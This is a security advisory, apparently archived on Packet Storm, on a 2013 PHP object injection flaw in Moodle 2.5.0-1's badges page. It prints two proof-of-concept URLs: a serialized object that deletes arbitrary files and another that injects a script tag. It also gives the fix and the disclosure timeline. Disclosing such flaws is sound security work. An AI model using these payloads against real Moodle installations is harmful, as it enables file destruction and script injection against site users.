accept no compromises

Moodle CMS 2.5.0-1 Cross Site Scripting

Moodle CMS 2.5.0-1 Cross Site Scripting
Posted Sep 16, 2013
Authored by Emilio Pinna

Moodle CMS version 2.5.0-1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | ddaaed0e28776a0d8ade0f70ab7587a2

Moodle CMS 2.5.0-1 Cross Site Scripting

Change Mirror Download
=============================================
- Original release date: 15 September, 2013
- Discovered by: Emilio Pinna (Application Security Analyst at Abinsula)
- Contact: emilio # pinn # gmail
=============================================

VULNERABILITY
----------------------
Moodle CMS version 2.5.0-1 is prone to Object Injection vulnerability passing not properly sanitized user-supplied input to the unserialize() PHP function.

Attacker could inject ad-hoc serialized object into the application scope, reusing internal PHP code snippets maliciously. In this application the attacker could delete files and perform a XSS attacks.

DESCRIPTION
----------------------
Affected file badges/external.php unserialize user input in line 35

$json = required_param('badge', PARAM_RAW);
..
$badge = new external_badge(unserialize($json));

PROOF OF CONCEPT
----------------------

- FILE DELETE
The method csv_export_writer::__destruct() in lib/csvlib.class.php:538 can be exploited in order to delete remote file passing the serialized object.

http://localhost/badges/external.php?badge=O:17:"csv_export_writer":1:{s:4:"path";s:27:"/path/of/the/file/to/delete";}

- XSS
The rendered HTML page constructed in the core_badges_renderer::render_external_badge() in badges/renderer.php:375 reflects the two object variable assertion and imageurl, as that can be used as XSS vector.

http://localhost/badges/external.php?badge=O:8:"stdClass":2:{s:8:"imageUrl";s:0:"";s:9:"assertion";O:8:"stdClass":1:{s:5:"badge";O:8:"stdClass":1:{s:6:"issuer";O:8:"stdClass":1:{s:4:"name";s:30:"<script>alert(1);</script><!--";}}}}

SYSTEMS AFFECTED
----------------------
Moodle CMS version 2.5.0 and 2.5.1. Fixed in 2.5.2.

SOLUTION
----------------------
Do not unserialize() user-supplied input, use standard data format as json instead. Moodle users must upgrade to 2.5.2.

CVE REFERENCE
----------------------
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-5674 to the vulnerability

CREDITS
----------------------
Emilio Pinna: emilio # pinn # gmail

REFERENCES
----------------------
https://tracker.moodle.org/browse/MDL-40924
http://disse.cting.org/2013/09/16/moodle-2_5_0_1-badges-external-object-injection/

DISCLOSURE TIMELINE
----------------------
29/Jul/2013: Vendor alerted with MDL-40924 ticket
02/Sep/2013: Released fix commit 2d3c0faef by Yuliya Bozhko
07/Sep/2013: Moodle release 2.5.2
15/Sep/2013: Public disclosure

LEGAL NOTICES
----------------------
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close